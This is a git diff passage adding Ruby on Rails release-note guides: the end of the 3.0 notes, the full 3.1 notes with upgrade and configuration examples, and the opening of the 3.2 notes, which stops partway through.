+* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`.
+* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`.
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* I18n error messages for Active Record should be changed from :en.activerecord.errors.template to `:en.errors.template`.
+* `model.errors.on` is deprecated in favor of `model.errors[]`
+* validates_presence_of => validates... :presence => true
+* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging`
+
+NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.
+
+
+Active Resource
+---------------
+
+Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.
+
+* Added validations through Active Model.
+* Added observing hooks.
+* HTTP proxy support.
+* Added support for digest authentication.
+* Moved model naming into Active Model.
+* Changed Active Resource attributes to a Hash with indifferent access.
+* Added `first`, `last` and `all` aliases for equivalent find scopes.
+* `find_every` now does not return a `ResourceNotFound` error if nothing returned.
+* Added `save!` which raises `ResourceInvalid` unless the object is `valid?`.
+* `update_attribute` and `update_attributes` added to Active Resource models.
+* Added `exists?`.
+* Renamed `SchemaDefinition` to `Schema` and `define_schema` to `schema`.
+* Use the `format` of Active Resources rather than the `content-type` of remote errors to load errors.
+* Use `instance_eval` for schema block.
+* Fix `ActiveResource::ConnectionError#to_s` when `@response` does not respond to #code or #message, handles Ruby 1.9 compatibility.
+* Add support for errors in JSON format.
+* Ensure `load` works with numeric arrays.
+* Recognizes a 410 response from remote resource as the resource has been deleted.
+* Add ability to set SSL options on Active Resource connections.
+* Setting connection timeout also affects `Net::HTTP` `open_timeout`.
+
+Deprecations:
+
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* Ruby 1.9.2: `URI.parse` and `.decode` are deprecated and are no longer used in the library.
+
+
+Active Support
+--------------
+
+A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.
+
+These are the main changes in Active Support:
+
+* Large clean up of the library removing unused methods throughout.
+* Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the `bundle install` command.
+* Safe buffers are implemented in `ActiveSupport::SafeBuffer`.
+* Added `Array.uniq_by` and `Array.uniq_by!`.
+* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9.
+* Fixed bug on `TimeZone.seconds_to_utc_offset` returning wrong value.
+* Added `ActiveSupport::Notifications` middleware.
+* `ActiveSupport.use_standard_json_time_format` now defaults to true.
+* `ActiveSupport.escape_html_entities_in_json` now defaults to false.
+* `Integer#multiple_of?` accepts zero as an argument, returns false unless the receiver is zero.
+* `string.chars` has been renamed to `string.mb_chars`.
+* `ActiveSupport::OrderedHash` now can de-serialize through YAML.
+* Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
+* Added `Object#presence` that returns the object if it's `#present?` otherwise returns `nil`.
+* Added `String#exclude?` core extension that returns the inverse of `#include?`.
+* Added `to_i` to `DateTime` in `ActiveSupport` so `to_yaml` works correctly on models with `DateTime` attributes.
+* Added `Enumerable#exclude?` to bring parity to `Enumerable#include?` and avoid if `!x.include?`.
+* Switch to on-by-default XSS escaping for rails.
+* Support deep-merging in `ActiveSupport::HashWithIndifferentAccess`.
+* `Enumerable#sum` now works will all enumerables, even if they don't respond to `:size`.
+* `inspect` on a zero length duration returns '0 seconds' instead of empty string.
+* Add `element` and `collection` to `ModelName`.
+* `String#to_time` and `String#to_datetime` handle fractional seconds.
+* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks.
+* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`.
+* `MissingSourceFile` exists as a constant but it is now just equal to `LoadError`.
+* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
+* Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`.
+* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby.
+
+The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.
+
+* `Integer#even?` and `Integer#odd?`
+* `String#each_char`
+* `String#start_with?` and `String#end_with?` (3rd person aliases still kept)
+* `String#bytesize`
+* `Object#tap`
+* `Symbol#to_proc`
+* `Object#instance_variable_defined?`
+* `Enumerable#none?`
+
+The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.
+
+The following methods have been removed because they are no longer used in the framework:
+
+* `Kernel#daemonize`
+* `Object#remove_subclasses_of` `Object#extend_with_included_modules_from`, `Object#extended_by`
+* `Class#remove_class`
+* `Regexp#number_of_captures`, `Regexp.unoptionalize`, `Regexp.optionalize`, `Regexp#number_of_captures`
+
+
+Action Mailer
+-------------
+
+Action Mailer has been given a new API with TMail being replaced out with the new [Mail](https://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
+
+* All mailers are now in `app/mailers` by default.
+* Can now send email using new API with three methods: `attachments`, `headers` and `mail`.
+* Action Mailer now has native support for inline attachments using the `attachments.inline` method.
+* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself.
+* All delivery methods are now abstracted out to the Mail gem.
+* The mail delivery method can accept a hash of all valid mail header fields with their value pair.
+* The `mail` delivery method acts in a similar way to Action Controller's `respond_to`, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
+* You can pass a proc to the `format.mime_type` calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The `render` call inside the proc is from Abstract Controller and supports the same options.
+* What were mailer unit tests have been moved to functional tests.
+* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
+* Action Mailer will auto encode email bodies and headers for you
+
+Deprecations:
+
+* `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` are all deprecated in favor of `ActionMailer.default :key => value` style declarations.
+* Mailer dynamic `create_method_name` and `deliver_method_name` are deprecated, just call `method_name` which now returns a `Mail::Message` object.
+* `ActionMailer.deliver(message)` is deprecated, just call `message.deliver`.
+* `template_root` is deprecated, pass options to a render call inside a proc from the `format.mime_type` method inside the `mail` generation block
+* The `body` method to define instance variables is deprecated (`body {:ivar => value}`), just declare instance variables in the method directly and they will be available in the view.
+* Mailers being in `app/models` is deprecated, use `app/mailers` instead.
+
+More Information:
+
+* [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
+* [New Mail Gem for Ruby](http://lindsaar.net/2010/1/23/mail-gem-version-2-released)
+
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them.
+
+Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net).
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
new file mode 100644
index 0000000000..fd90cf9886
--- /dev/null
+++ b/guides/source/3_1_release_notes.md
@@ -0,0 +1,561 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 3.1 Release Notes
+===============================
+
+Highlights in Rails 3.1:
+
+* Streaming
+* Reversible Migrations
+* Assets Pipeline
+* jQuery as the default JavaScript library
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/3-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
+
+### Rails 3.1 requires at least Ruby 1.8.7
+
+Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
+
+### What to update in your apps
+
+The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
+
+#### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '= 3.1.3'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+  gem 'sass-rails',   "~> 3.1.5"
+  gem 'coffee-rails', "~> 3.1.1"
+  gem 'uglifier',     ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+```
+
+#### config/application.rb
+
+* The asset pipeline requires the following additions:
+
+    ```ruby
+    config.assets.enabled = true
+    config.assets.version = '1.0'
+    ```
+
+* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+    ```ruby
+    # Defaults to '/assets'
+    config.assets.prefix = '/asset-files'
+    ```
+
+#### config/environments/development.rb
+
+* Remove the RJS setting `config.action_view.debug_rjs = true`.
+
+* Add the following, if you enable the asset pipeline.
+
+    ```ruby
+    # Do not compress assets
+    config.assets.compress = false
+
+    # Expands the lines which load the assets
+    config.assets.debug = true
+    ```
+
+#### config/environments/production.rb
+
+* Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
+
+    ```ruby
+    # Compress JavaScripts and CSS
+    config.assets.compress = true
+
+    # Don't fallback to assets pipeline if a precompiled asset is missed
+    config.assets.compile = false
+
+    # Generate digests for assets URLs
+    config.assets.digest = true
+
+    # Defaults to Rails.root.join("public/assets")
+    # config.assets.manifest = YOUR_PATH
+
+    # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+    # config.assets.precompile `= %w( admin.js admin.css )
+
+
+    # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+    # config.force_ssl = true
+    ```
+
+#### config/environments/test.rb
+
+```ruby
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+```
+
+#### config/initializers/wrap_parameters.rb
+
+* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+    ```ruby
+    # Be sure to restart your server when you modify this file.
+    # This file contains settings for ActionController::ParamsWrapper which
+    # is enabled by default.
+
+    # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+    ActiveSupport.on_load(:action_controller) do
+      wrap_parameters :format => [:json]
+    end
+
+    # Disable root element in JSON by default.
+    ActiveSupport.on_load(:active_record) do
+      self.include_root_in_json = false
+    end
+    ```
+
+#### Remove :cache and :concat options in asset helpers references in views
+
+* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
+
+Creating a Rails 3.1 application
+--------------------------------
+
+```bash
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://bundler.io/)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+### Assets Pipeline
+
+The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
+
+The assets pipeline is powered by [Sprockets](https://github.com/rails/sprockets) and is covered in the [Asset Pipeline](asset_pipeline.html) guide.
+
+### HTTP Streaming
+
+HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it.
+
+### Default JS library is now jQuery
+
+jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
+
+```bash
+$ rails new myapp -j prototype
+```
+
+### Identity Map
+
+Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
+
+Rails 3.1 comes with the identity map turned off by default.
+
+Railties
+--------
+
+* jQuery is the new default JavaScript library.
+
+* jQuery and Prototype are no longer vendored and is provided from now on by the `jquery-rails` and `prototype-rails` gems.
+
+* The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
+
+* Generating an application or a plugin runs `bundle install` unless `--skip-gemfile` or `--skip-bundle` is specified.
+
+* The controller and resource generators will now automatically produce asset stubs (this can be turned off with `--skip-assets`). These stubs will use CoffeeScript and Sass, if those libraries are available.
+
+* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, `--old-style-hash` can be passed.
+
+* Scaffold controller generator creates format block for JSON instead of XML.
+
+* Active Record logging is directed to STDOUT and shown inline in the console.
+
+* Added `config.force_ssl` configuration which loads `Rack::SSL` middleware and force all requests to be under HTTPS protocol.
+
+* Added `rails plugin new` command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
+
+* Added `Rack::Etag` and `Rack::ConditionalGet` to the default middleware stack.
+
+* Added `Rack::Cache` to the default middleware stack.
+
+* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* A warning is given out if the CSRF token authenticity cannot be verified.
+
+* Specify `force_ssl` in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, `:only` or `:except` can be used.
+
+* Sensitive query string parameters specified in `config.filter_parameters` will now be filtered out from the request paths in the log.
+
+* URL parameters which return `nil` for `to_param` are now removed from the query string.
+
+* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in `config/initializers/wrap_parameters.rb`.
+
+* Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
+
+* `url_for` and named url helpers now accept `:subdomain` and `:domain` as options.
+
+* Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call.
+
+    ```ruby
+    class PostsController < ApplicationController
+      USER_NAME, PASSWORD = "dhh", "secret"
+
+      before_filter :authenticate, :except => [ :index ]
+
+      def index
+        render :text => "Everyone can see me!"
+      end
+
+      def edit
+        render :text => "I'm only accessible if you know the password"
+      end
+
+      private
+        def authenticate
+          authenticate_or_request_with_http_basic do |user_name, password|
+            user_name == USER_NAME && password == PASSWORD
+          end
+        end
+    end
+    ```
+
+    ..can now be written as
+
+    ```ruby
+    class PostsController < ApplicationController
+      http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+
+      def index
+        render :text => "Everyone can see me!"
+      end
+
+      def edit
+        render :text => "I'm only accessible if you know the password"
+      end
+    end
+    ```
+
+* Added streaming support, you can enable it with:
+
+    ```ruby
+    class PostsController < ActionController::Base
+      stream
+    end
+    ```
+
+    You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information.
+
+* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
+
+### Action Dispatch
+
+* `config.action_dispatch.x_sendfile_header` now defaults to `nil` and `config/environments/production.rb` doesn't set any particular value for it. This allows servers to set it through `X-Sendfile-Type`.
+
+* `ActionDispatch::MiddlewareStack` now uses composition over inheritance and is no longer an array.
+
+* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers.
+
+* Added `Rack::Cache` to the default stack.
+
+* Moved etag responsibility from `ActionDispatch::Response` to the middleware stack.
+
+* Rely on `Rack::Session` stores API for more compatibility across the Ruby world. This is backwards incompatible since `Rack::Session` expects `#get_session` to accept four arguments and requires `#destroy_session` instead of simply `#destroy`.
+
+* Template lookup now searches further up in the inheritance chain.
+
+### Action View
+
+* Added an `:authenticity_token` option to `form_tag` for custom handling or to omit the token by passing `:authenticity_token => false`.
+
+* Created `ActionView::Renderer` and specified an API for `ActionView::Context`.
+
+* In place `SafeBuffer` mutation is prohibited in Rails 3.1.
+
+* Added HTML5 `button_tag` helper.
+
+* `file_field` automatically adds `:multipart => true` to the enclosing form.
+
+* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a `:data` hash of options:
+
+    ```ruby
+    tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
+    # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
+    ```
+
+Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
+
+* `csrf_meta_tag` is renamed to `csrf_meta_tags` and aliases `csrf_meta_tag` for backwards compatibility.
+
+* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
+
+* rhtml and rxml are finally removed as template handlers.
+
+* `config.action_view.cache_template_loading` is brought back which allows to decide whether templates should be cached or not.
+
+* The submit form helper does not generate an id "object_name_id" anymore.
+
+* Allows `FormHelper#form_for` to specify the `:method` as a direct option instead of through the `:html` hash. `form_for(@post, remote: true, method: :delete)` instead of `form_for(@post, remote: true, html: { method: :delete })`.
+
+* Provided `JavaScriptHelper#j()` as an alias for `JavaScriptHelper#escape_javascript()`. This supersedes the `Object#j()` method that the JSON gem adds within templates using the JavaScriptHelper.
+
+* Allows AM/PM format in datetime selectors.
+
+* `auto_link` has been removed from Rails and extracted into the [rails_autolink gem](https://github.com/tenderlove/rails_autolink)
+
+Active Record
+-------------
+
+* Added a class method `pluralize_table_names` to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through `ActiveRecord::Base.pluralize_table_names`.
+
+    ```ruby
+    class User < ActiveRecord::Base
+      self.pluralize_table_names = false
+    end
+    ```
+
+* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
+
+    ```ruby
+    class User < ActiveRecord::Base
+      has_one :account
+    end
+
+    user.build_account{ |a| a.credit_limit = 100.0 }
+    ```
+
+* Added `ActiveRecord::Base.attribute_names` to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
+
+* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
+
+* `ActiveRecord#new`, `ActiveRecord#create` and `ActiveRecord#update_attributes` all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
+
+    ```ruby
+    class Post < ActiveRecord::Base
+      attr_accessible :title
+      attr_accessible :title, :published_at, :as => :admin
+    end
+
+    Post.new(params[:post], :as => :admin)
+    ```
+
+* `default_scope` can now take a block, lambda, or any other object which responds to call for lazy evaluation.
+
+* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
+
+* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
+
+* `ConnectionManagement` middleware is changed to clean up the connection pool after the rack body has been flushed.
+
+* Added an `update_column` method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use `update_attributes` or `update_attribute` unless you are sure you do not want to execute any callback, including the modification of the `updated_at` column. It should not be called on new records.
+
+* Associations with a `:through` option can now use any association as the through or source association, including other associations which have a `:through` option and `has_and_belongs_to_many` associations.
+
+* The configuration for the current database connection is now accessible via `ActiveRecord::Base.connection_config`.
+
+* limits and offsets are removed from COUNT queries unless both are supplied.
+
+    ```ruby
+    People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
+    People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
+    People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
+    ```
+
+* `ActiveRecord::Associations::AssociationProxy` has been split. There is now an `Association` class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called `CollectionProxy`, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
+
+* Singular associations (`has_one`, `belongs_to`) no longer have a proxy and simply returns the associated record or `nil`. This means that you should not use undocumented methods such as `bob.mother.create` - use `bob.create_mother` instead.
+
+* Support the `:dependent` option on `has_many :through` associations. For historical and practical reasons, `:delete_all` is the default deletion strategy employed by `association.delete(*records)`, despite the fact that the default strategy is `:nullify` for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
+
+* The behavior of `association.destroy` for `has_and_belongs_to_many` and `has_many :through` is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
+
+* Previously, `has_and_belongs_to_many.destroy(*records)` would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
+
+* Previously, `has_many_through.destroy(*records)` would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
+
+* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do `records.association.each(&:destroy)`.
+
+* Add `:bulk => true` option to `change_table` to make all the schema changes defined in a block using a single ALTER statement.
+
+    ```ruby
+    change_table(:users, :bulk => true) do |t|
+      t.string :company_name
+      t.change :birthdate, :datetime
+    end
+    ```
+
+* Removed support for accessing attributes on a `has_and_belongs_to_many` join table. `has_many :through` needs to be used.
+
+* Added a `create_association!` method for `has_one` and `belongs_to` associations.
+
+* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the `change` method.
+
+    ```ruby
+    class MyMigration < ActiveRecord::Migration
+      def change
+        create_table(:horses) do |t|
+          t.column :content, :text
+          t.column :remind_at, :datetime
+        end
+      end
+    end
+    ```
+
+* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define `up` and `down` in your migration. If you define something in change that cannot be reversed, an `IrreversibleMigration` exception will be raised when going down.
+
+* Migrations now use instance methods rather than class methods:
+
+    ```ruby
+    class FooMigration < ActiveRecord::Migration
+      def up # Not self.up
+        ...
+      end
+    end
+    ```
+
+* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's `change` method instead of the ordinary `up` and `down` methods.
+
+* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
+
+    ```ruby
+    has_many :things, :conditions => 'foo = #{bar}'          # before
+    has_many :things, :conditions => proc { "foo = #{bar}" } # after
+    ```
+
+    Inside the proc, `self` is the object which is the owner of the association, unless you are eager loading the association, in which case `self` is the class which the association is within.
+
+    You can have any "normal" conditions inside the proc, so the following will work too:
+
+    ```ruby
+    has_many :things, :conditions => proc { ["foo = ?", bar] }
+    ```
+
+* Previously `:insert_sql` and `:delete_sql` on `has_and_belongs_to_many` association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
+
+* Added `ActiveRecord::Base#has_secure_password` (via `ActiveModel::SecurePassword`) to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+    ```ruby
+    # Schema: User(name:string, password_digest:string, password_salt:string)
+    class User < ActiveRecord::Base
+      has_secure_password
+    end
+    ```
+
+* When a model is generated `add_index` is added by default for `belongs_to` or `references` columns.
+
+* Setting the id of a `belongs_to` object will update the reference to the object.
+
+* `ActiveRecord::Base#dup` and `ActiveRecord::Base#clone` semantics have changed to closer match normal Ruby dup and clone semantics.
+
+* Calling `ActiveRecord::Base#clone` will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
+
+* Calling `ActiveRecord::Base#dup` will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return `true` for `new_record?`, have a `nil` id field, and is saveable.
+
+* The query cache now works with prepared statements. No changes in the applications are required.
+
+Active Model
+------------
+
+* `attr_accessible` accepts an option `:as` to specify a role.
+
+* `InclusionValidator`, `ExclusionValidator`, and `FormatValidator` now accepts an option which can be a proc, a lambda, or anything that respond to `call`. This option will be called with the current record as an argument and returns an object which respond to `include?` for `InclusionValidator` and `ExclusionValidator`, and returns a regular expression object for `FormatValidator`.
+
+* Added `ActiveModel::SecurePassword` to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+* `ActiveModel::AttributeMethods` allows attributes to be defined on demand.
+
+* Added support for selectively enabling and disabling observers.
+
+* Alternate `I18n` namespace lookup is no longer supported.
+
+Active Resource
+---------------
+
+* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. For example,
+
+    ```ruby
+    class User < ActiveResource::Base
+      self.format = :xml
+    end
+    ```
+
+Active Support
+--------------
+
+* `ActiveSupport::Dependencies` now raises `NameError` if it finds an existing constant in `load_missing_constant`.
+
+* Added a new reporting method `Kernel#quietly` which silences both `STDOUT` and `STDERR`.
+
+* Added `String#inquiry` as a convenience method for turning a String into a `StringInquirer` object.
+
+* Added `Object#in?` to test if an object is included in another object.
+
+* `LocalCache` strategy is now a real middleware class and no longer an anonymous class.
+
+* `ActiveSupport::Dependencies::ClassCache` class has been introduced for holding references to reloadable classes.
+
+* `ActiveSupport::Dependencies::Reference` has been refactored to take direct advantage of the new `ClassCache`.
+
+* Backports `Range#cover?` as an alias for `Range#include?` in Ruby 1.8.
+
+* Added `weeks_ago` and `prev_week` to Date/DateTime/Time.
+
+* Added `before_remove_const` callback to `ActiveSupport::Dependencies.remove_unloadable_constants!`.
+
+Deprecations:
+
+* `ActiveSupport::SecureRandom` is deprecated in favor of `SecureRandom` from the Ruby standard library.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev)
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
new file mode 100644
index 0000000000..f16d509f77
--- /dev/null
+++ b/guides/source/3_2_release_notes.md
@@ -0,0 +1,570 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 3.2 Release Notes
+===============================
+
+Highlights in Rails 3.2:
+
+* Faster Development Mode
+* New Routing Engine
+* Automatic Query Explains
+* Tagged Logging
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:
+
+### Rails 3.2 requires at least Ruby 1.8.7
+
+Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+
+### What to update in your apps
+
+* Update your Gemfile to depend on
+    * `rails = 3.2.0`
+    * `sass-rails ~> 3.2.3`
+    * `coffee-rails ~> 3.2.1`
+    * `uglifier >= 1.0.3`
+
+* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`:
+
+    ```ruby
+    # Raise exception on mass assignment protection for Active Record models
+    config.active_record.mass_assignment_sanitizer = :strict
+
+    # Log the query plan for queries taking more than this (works
+    # with SQLite, MySQL, and PostgreSQL)
+    config.active_record.auto_explain_threshold_in_seconds = 0.5
+    ```
+
+    The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`:
+
+    ```ruby
+    # Raise exception on mass assignment protection for Active Record models
+    config.active_record.mass_assignment_sanitizer = :strict
+    ```
+
+### What to update in your engines
+
+Replace the code beneath the comment in `script/rails` with the following content:
+
+```ruby
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
+
+require 'rails/all'
+require 'rails/engine/commands'
+```
+
+Creating a Rails 3.2 application
+--------------------------------
+
+```bash
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
